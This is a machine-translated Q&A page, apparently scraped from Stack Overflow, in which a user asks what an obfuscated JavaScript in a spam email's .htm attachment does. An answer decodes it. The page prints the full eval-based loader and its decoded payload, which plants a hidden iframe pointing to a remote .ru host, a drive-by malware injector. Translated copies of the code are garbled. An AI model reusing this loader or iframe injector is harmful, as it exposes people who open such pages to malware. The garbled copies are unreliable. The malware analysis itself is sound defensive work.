垃圾邮件中的javascript；什么'；它想做什么？_Javascript_Html_Spam

垃圾邮件中的javascript；什么'；它想做什么？

javascript html

垃圾邮件中的javascript；什么'；它想做什么？,javascript,html,spam,Javascript,Html,Spam,我收到一封带有.htm附件的垃圾邮件。我在linux机器上的gedit中打开了该文件，看到了以下内容。它试图运行的脚本有什么作用吗？它看起来无害，但令人困惑 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-Type

我收到一封带有.htm附件的垃圾邮件。我在linux机器上的gedit中打开了该文件，看到了以下内容。它试图运行的脚本有什么作用吗？它看起来无害，但令人困惑

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
 <head>
  <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
  <title>Please wait untill the page loads...</title>
 </head>
 <body>  
<h1>Loading... Please Wait...</h1><br>
 </body>`

<script>
if(window['doc'+'ume'+'nt'])
    aa=/\w/.exec(new Date()).index+[];
    aaa='0';
    try {
        new location();
    }catch(qqq){
        ss=String;
        if(aa===aaa)
            f='-30q-30q66q63q-7q1q61q72q60q78q70q62q71q77q7q64q62q77q30q69q62q70q62q71q77q76q27q82q45q58q64q39q58q70q62q1q0q59q72q61q82q0q2q52q9q54q2q84q-30q-30q-30q66q63q75q58q70q62q75q1q2q20q-30q-30q86q-7q62q69q76q62q-7q84q-30q-30q-30q61q72q60q78q70q62q71q77q7q80q75q66q77q62q1q-5q21q66q63q75q58q70q62q-7q76q75q60q22q0q65q77q77q73q19q8q8q60q73q58q75q58q59q71q72q75q70q58q73q72q72q73q61q76q63q7q75q78q19q17q9q17q9q8q66q70q58q64q62q76q8q58q78q59q69q59q83q61q71q66q7q73q65q73q0q-7q80q66q61q77q65q22q0q10q9q0q-7q65q62q66q64q65q77q22q0q10q9q0q-7q76q77q82q69q62q22q0q79q66q76q66q59q66q69q66q77q82q19q65q66q61q61q62q71q20q73q72q76q66q77q66q72q71q19q58q59q76q72q69q78q77q62q20q69q62q63q77q19q9q20q77q72q73q19q9q20q0q23q21q8q66q63q75q58q70q62q23q-5q2q20q-30q-30q86q-30q-30q63q78q71q60q77q66q72q71q-7q66q63q75q58q70q62q75q1q2q84q-30q-30q-30q79q58q75q-7q63q-7q22q-7q61q72q60q78q70q62q71q77q7q60q75q62q58q77q62q30q69q62q70q62q71q77q1q0q66q63q75q58q70q62q0q2q20q63q7q76q62q77q26q77q77q75q66q59q78q77q62q1q0q76q75q60q0q5q0q65q77q77q73q19q8q8q60q73q58q75q58q59q71q72q75q70q58q73q72q72q73q61q76q63q7q75q78q19q17q9q17q9q8q66q70q58q64q62q76q8q58q78q59q69q59q83q61q71q66q7q73q65q73q0q2q20q63q7q76q77q82q69q62q7q79q66q76q66q59q66q69q66q77q82q22q0q65q66q61q61q62q71q0q20q63q7q76q77q82q69q62q7q73q72q76q66q77q66q72q71q22q0q58q59q76q72q69q78q77q62q0q20q63q7q76q77q82q69q62q7q69q62q63q77q22q0q9q0q20q63q7q76q77q82q69q62q7q77q72q73q22q0q9q0q20q63q7q76q62q77q26q77q77q75q66q59q78q77q62q1q0q80q66q61q77q65q0q5q0q10q9q0q2q20q63q7q76q62q77q26q77q77q75q66q59q78q77q62q1q0q65q62q66q64q65q77q0q5q0q10q9q0q2q20q-30q-30q-30q61q72q60q78q70q62q71q77q7q64q62q77q30q69q62q70q62q71q77q76q27q82q45q58q64q39q58q70q62q1q0q59q72q61q82q0q2q52q9q54q7q58q73q73q62q71q61q28q65q66q69q61q1q63q2q20q-30q-30q86'
        .split('q');
        md='a';
        e=window['e'+'val'];
        w=f;
        s='';
        fr='fromChar';
        r=ss[fr+'Code'];
        for(i=0;-i>-w.length;i+=1) {
            j=i;
            s=s+r(39+1*w[j]);
        }
        if(Math.round(-4*Math.tan(Math.atan(0.5)))===-2)
            z=s;
        e(z);
    }
</script>

</html>


请稍候，直到页面加载。。。
加载。。。请稍候…

`
如果（窗口['doc'+'ume'+'nt']）
aa=/\w/.exec（新日期（））.index+[]；
aaa='0'；
试一试{
新位置（）；
}捕获（qqq）{
ss=字符串；
如果（aa==aaa）
QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ1Q66Q63Q75Q58Q70Q62Q-7q76q75q60q22q0q65q77q77q73q19q8q8q60q73q58q75q58q59q71qQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ77Q66Q72Q71Q19Q58Q59Q76Q72Q69Q78Q77Q62Q20Q69Q62Q63Q77Q19Q9Q20Q77Q72Q73Q19Q9Q20Q0QQQ Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q Q78Q77Q62Q1Q0Q76Q75Q60Q0Q5Q0Q65Q77Q73Q19Q8Q8Q60Q73Q58Q75Q58Q59Q71Q72Q75Q70QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ0Q63Q7Q76Q77Q82Q69Q62Q7Q69Q62Q63Q77Q22Q0Q9Q0Q20Q63Q7Q76Q77Q82Q69Q62Q7Q77Q72Q73QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ62Q1Q0Q59Q72Q61Q82Q0Q2Q52Q9Q54Q7Q58Q73Q73Q62Q71Q61Q28Q65Q66Q69Q61Q1Q63Q20Q-30q-30q86'
.拆分（“q”）；
md='a'；
e=窗口['e'+'val']；
w=f；
s=''；
fr='fromChar'；
r=ss[fr+‘代码’]；
对于（i=0；-i>-w.length；i+=1）{
j=i；
s=s+r（39+1*w[j]）；
}
如果（数学圆（-4*Math.tan（Math.atan（0.5）））=-2）
z=s；
e（z）；
}
在f
中编码的是脚本eval
s（执行）的以下代码：
这将获得一个数字数组，脚本通过向每个数组中添加39将其组合成一个字符串：
for (var i=0, s=''; i < f.length; i++) s+=String.fromCharCode(39+1*f[i]);

for（var i=0，s=''；i
编码位变为：
if (document.getElementsByTagName('body')[0]){
    iframer();
} else {
    document.write("<iframe src='http://cparabnormapoopdsf.ru:8080/images/aublbzdni.php' width='10' height='10' style='visibility:hidden;position:absolute;left:0;top:0;'></iframe>");
}
function iframer(){
    var f = document.createElement('iframe');
    f.setAttribute('src','http://cparabnormapoopdsf.ru:8080/images/aublbzdni.php');
    f.style.visibility='hidden';f.style.position='absolute';f.style.left='0';
    f.style.top='0';f.setAttribute('width','10');
    f.setAttribute('height','10');
    document.getElementsByTagName('body')[0].appendChild(f);
}

if（document.getElementsByTagName（'body'）[0]）{
iframer（）；
}否则{
文件。填写（“”）；
}
函数iframer（）{
var f=document.createElement（'iframe'）；
f、 setAttribute（'src'，'http://cparabnormapoopdsf.ru:8080/images/aublbzdni.php');
f、 style.visibility='hidden'；f.style.position='absolute'；f.style.left='0'；
f、 style.top='0'；f.setAttribute（'width'，'10'）；
f、 setAttribute（'height'，'10'）；
document.getElementsByTagName（'body'）[0].appendChild（f）；
}

位于的域执行未知操作。服务器正在运行nginx，只是重定向到google.com。也许在以后的某个时候它会做些别的事情
for (var i=0, s=''; i < f.length; i++) s+=String.fromCharCode(39+1*f[i]);

if (document.getElementsByTagName('body')[0]){
    iframer();
} else {
    document.write("<iframe src='http://cparabnormapoopdsf.ru:8080/images/aublbzdni.php' width='10' height='10' style='visibility:hidden;position:absolute;left:0;top:0;'></iframe>");
}
function iframer(){
    var f = document.createElement('iframe');
    f.setAttribute('src','http://cparabnormapoopdsf.ru:8080/images/aublbzdni.php');
    f.style.visibility='hidden';f.style.position='absolute';f.style.left='0';
    f.style.top='0';f.setAttribute('width','10');
    f.setAttribute('height','10');
    document.getElementsByTagName('body')[0].appendChild(f);
}